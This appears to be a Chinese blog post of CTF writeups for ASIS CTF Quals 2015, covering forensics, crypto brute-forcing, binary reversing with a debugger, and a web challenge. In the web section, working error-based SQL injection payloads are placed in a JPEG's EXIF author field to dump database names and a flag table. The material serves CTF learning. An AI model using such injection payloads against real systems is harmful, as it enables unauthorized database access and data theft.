ASISCTFQuals2015的writeups

原创

HappyOrange2014 于 2015-05-14 10:33:09 发布 1625 收藏

分类专栏： CTF 文章标签： ctf writeup

本文链接：https://blog.csdn.net/HappyOrange2014/article/details/45717347

本文将记录ASISCTF2015年度预选赛题目的writeup。我会先放出在比赛中做出的部分简单题目的解题思路，其他题目我也会在复盘后不定期更新，以保证所有题目都是独立完成，权当个人学习笔记了。

ps：在线题目由于比赛结束，已经关闭；离线分析的题目可以去[https://github.com/ctfs/write-ups-2015]下载，那里有更多题目的writeups。

Keka Bomb（Points 75）

本题是取证分析题，给出了一个xz压缩包，解压后是一些超大的7z压缩包（4个多G）。通过查看crc校验码发现，所有压缩包中总有一个与其它不同，继续解压这个特殊的压缩包……。由于我的SSD上空间还比较大，且压缩包深度并不大，所以我都是用winrar手工解压的，直到出现bomb_08文件。看来flag就在这家伙里了，使用如下脚本搜索即可：

```
thefile = open("G:/bomb_08", 'rb')
 while True:
    buffer = thefile.read(100*10)
    if 'A' in buffer:
        print binascii.hexlify(buffer)
    if not buffer:
        break
 thefile.close( )
```

Flag：ASIS{f974da3203d155826974f4a66735a20b}

Broken Heart（Points 100）

本题也是取证分析题。题目给出了一个pcap文件，看来flag就在流量中。这类题目的普遍思路分两种，一种是从流量字符串中直接查找flag，另一种需要从流量中提取出文件，然后再从文件中查找flag，而本题属于后者。如果你还不确定使用哪种方式的话，假设pcap包中存在http流量，则可以先用wireshark的“Export Objects”功能提取http中的文件试一下，也许会有惊喜。

提取后你会发现，有一个文件中貌似存在png文件中的特殊字段IDAT，但文件又不完整，且根据HTTP header中的Content-Range字段可知，这个图片的其余部分分散在其他提取出的文件中。我是用HxD，按照Content-Range字段的顺序，手工将分片的png图片整合起来的。唯一需要注意的就是，不同块之间存在一定的字节重合，需要将重叠的部分删除即可。flag就在修复后的图片中。

Flag：ASIS{8bffe21e084db147b32aa850bc65eb16}

Best Photo（Points 175）

本题是一道web题。可以上传jpeg图片，且上传后会显示jpeg图片的exif信息，这与去年Hack.lu中的ImageUpload很像，可能是exif注入。我随手下载了一个jpeg文件后，通过windows的图片属性来插入如下作者信息（点击应用即可保存）并上传：

```
Olivia'or(updatexml(1,concat(0x7e,(select version())),0))or';
结果：
XPATH syntax error: '~5.5.43-0+deb8u1'
```

嗯，看来确实是exif注入了。然后就是构造payload爆flag了，过程比较程式化，即先从爆数据库名，再爆表名，最后通过表中的字段爆flag，套用上面的注入语句即可。结果如下：

```
数据库：information_schema,photo
表：photos_extratext,tbl_flag_000
字段：id,flag
```

最后使用到的语句如下：

```
Olivia'or(updatexml(1,concat(0x7e,(select concat(id,0x7e,flag) from photo.tbl_flag_000)),0))or';

Olivia'or(updatexml(1,concat(0x7e,(select mid(concat(id,0x7e,flag),30,16) from photo.tbl_flag_000)),0))
```

由于每次最多显示32个字节，故需要将flag分两次爆出。

Flag：ASIS{908cd5cf7e6f337d232370ce7e0fd937}

Simple Algorithm（Points 100）

本题给出了一段加密程序的python源代码，如下：

```python
#!/usr/bin/python

flag = '[censored]'
hflag = flag.encode('hex')
iflag = int(hflag[2:], 16)

def FAN(n, m):
    i = 0
    z = []
    s = 0
    while n > 0:
        if n % 2 != 0:
            z.append(2 - (n % 4))
        else:
            z.append(0)
        n = (n - z[i])/2
        i = i + 1
    z = z[::-1]
    l = len(z)
    for i in range(0, l):
        s += z[i] * m ** (l - 1 - i)
    return s

i = 0
r = ''
while i < len(str(iflag)):
    d = str(iflag)[i:i+2]
    nf = FAN(int(d), 3)
    r += str(nf)
    i += 2

print r
```

以及一段用该程序加密后的密文：

```
271273380119438116388012431914658649818219215191771924822468136401914243818809730729243701638801194319 3
```

flag当然要在解密后得到。

根据源码，加密过程可归纳如下：
1、将明文hex化为hflag；
2、将hflag第三字节以后的内容转换为整数iflag；
3、以字符串来看待iflag，每两个字节（也就是两个数字，设为xy）使用FAN函数进行加密后拼接起来，得到密文enc。

由于xy取值范围是[00，99]，对这个范围内的所有取值进行FAN运算是可以得到一个（数字-密文）对照表的。理论上，通过这个对照表，就可以将密文enc还原为整数iflag，从而解密出明文。但遗憾的是，尽管对照表不大，但由于存在多种可能的对应情况，特别是（00-0、01-1）这种2位对应1位的情况非常复杂，手工还原的可能性几乎不存在。

但我们知道，明文的形式可能是这样的：
ASIS{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}
且ASIS{00000000000000000000000000000000}的结果为：

```
271273380119432167308092428027291914811271287192179021665690720757217243244811194719168281194421623319 3
```

与给出的密文拥有相同的前缀27127338011943，说明明文的形式与我们猜测的是一致的，x只能是0123456789abcdef中的任一字符。

同时，从明文到最终的密文虽然经历了多次转化，但无论是hex，取整，还是FAN，都是一个前缀数值递增的过程，有点类似于base64的编码过程。故我们可以以

```
ASIS{00000000000000000000000000000000}
```

为基准，从前两个0开始，两位两位（设为xy）地枚举所有的｛0123456789abcdef｝16进制字符组合，并同时增加密文的前缀匹配长度，直到匹配出同样的x，则可视为破解出一位字符。代码如下：

```
array = '0123456789abcdef'
str1 = 'ASIS{a9'
str2 = '00000000000000000000000000}'
for c in array:
    for d in array:
        stri = str1 + c + d + str2
        #print str
        hflag = stri.encode('hex')
        iflag = int(hflag[2:], 16)
        i = 0
        r = ''
        while i < len(str(iflag)):
            d = str(iflag)[i:i+2]
            nf = FAN(int(d), 3)
            r += str(nf)
            i += 2

        if r.startswith('2712733801194381163 88'):
            print c, d
```

也就是说，当最后的if条件成立时，出现唯一的c即为破解出一位flag。

ps：之所以这么解，比如为何两位两位爆破而不是一位一位爆破等，我当时也是摸着石头过河的，并没有完全吃透。看过其他人的writeup后，我才知道，完全是可以通过数学推理来逆向加密算法的。所以我这个解法，虽然肯定有合理成分，但主要还是蒙的：（

Flag：ASIS{a9ab115c488a311896dac4e8bc20a6d7}

KeyLead（Points 150）

本题是一道64位elf逆向题。通过IDA静态分析出的代码结合EDB动态调试，可以很容易地得到flag。

通过CTRL+F5得到关键代码如下：

主函数：

```
signed __int64 sub_400E6E()
{
  char v0; // ST1F_1@1
  unsigned int v1; // eax@1
  int v2; // ST14_4@1
  signed __int64 result; // rax@3
  int v4; // [sp+4h] [bp-1Ch]@1
  int v5; // [sp+8h] [bp-18h]@1
  int v6; // [sp+Ch] [bp-14h]@1
  int v7; // [sp+10h] [bp-10h]@1
  int v8; // [sp+14h] [bp-Ch]@1
```

```
int v8; // [rsp+8h] [rbp-8h]

puts("hi all ----------------------");  //call 400540就是puts函数
puts("Welcome to dice game!");
puts("You have to roll 5 dices and get 3, 1, 3, 3, 7 in order.");
puts("Press enter to roll.");
v0 = getchar();  //call 400580就是getchar函数
v1 = time(0LL);   //call 4005a0就是time函数，获取当前的系统时间，并且以16进制形式保存到eax中
srand(v1);        //call 400570就是srand函数，用于生成rand函数的种子
v8 = time(0LL);
v2 = rand() % 6 + 1;
v7 = rand() % 6 + 1;
v6 = rand() % 6 + 1;
v5 = rand() % 6 + 1;
v4 = rand() % 6 + 1;
printf(
  "You rolled %d, %d, %d, %d, %d.\n",
  (unsigned int)v2,
  (unsigned int)v7,
  (unsigned int)v6,
  (unsigned int)v5,
  (unsigned int)v4);
**if ( v2 != 3 )**
  goto LABEL_20;
**if ( time(0LL) - v8 > 2 )**
{
  puts("No cheat!");
  return 0xFFFFFFFFLL;
}
**if ( v7 != 1 )**
  goto LABEL_20;
**if ( time(0LL) - v8 > 2 )**
{
  puts("No cheat!");
  return 0xFFFFFFFFLL;
}
**if ( v6 != 3 )**
  goto LABEL_20;
**if ( time(0LL) - v8 > 2 )**
{
  puts("No cheat!");
  return 0xFFFFFFFFLL;
}
**if ( v5 != 3 )**
  goto LABEL_20;
**if ( time(0LL) - v8 > 2 )**
{
  puts("No cheat!");
  return 0xFFFFFFFFLL;
}
**if ( v4 != 7 )**
{
LABEL_20:
  puts("You DID NOT roll as I said!");
  puts("Bye bye~");
  result = 0xFFFFFFFFLL;
}
**else if ( time(0LL) - v8 <= 2 )**
{
  puts("You rolled as I said! I'll give you the flag.");
```

```
        sub_4006B6();
        result = 0LL;
      }
      else
      {
        puts("No cheat!");
        result = 0xFFFFFFFFLL;
      }
      return result;
    }
```

flag生成函数：

```
    void sub_4006B6()
    {
        ......
    }
```

整个代码的逻辑就是：当你输入的5个字符经过sub400E6E函数的转换后，如果是31337，且每轮耗时不超过2秒，则进入sub4006B6函数，打印出flag，否则失败。

我们不用管sub4006B6函数的具体逻辑，只要通过edb运行程序，并在遇到关键的判断条件（已在上面代码中加粗标识出）时，将rax等相关寄存器中的数值改成能够通过条件判断的数值即可。

Flag：ASIS{1fc1089e328eaf737c882ca0b10fcfe6}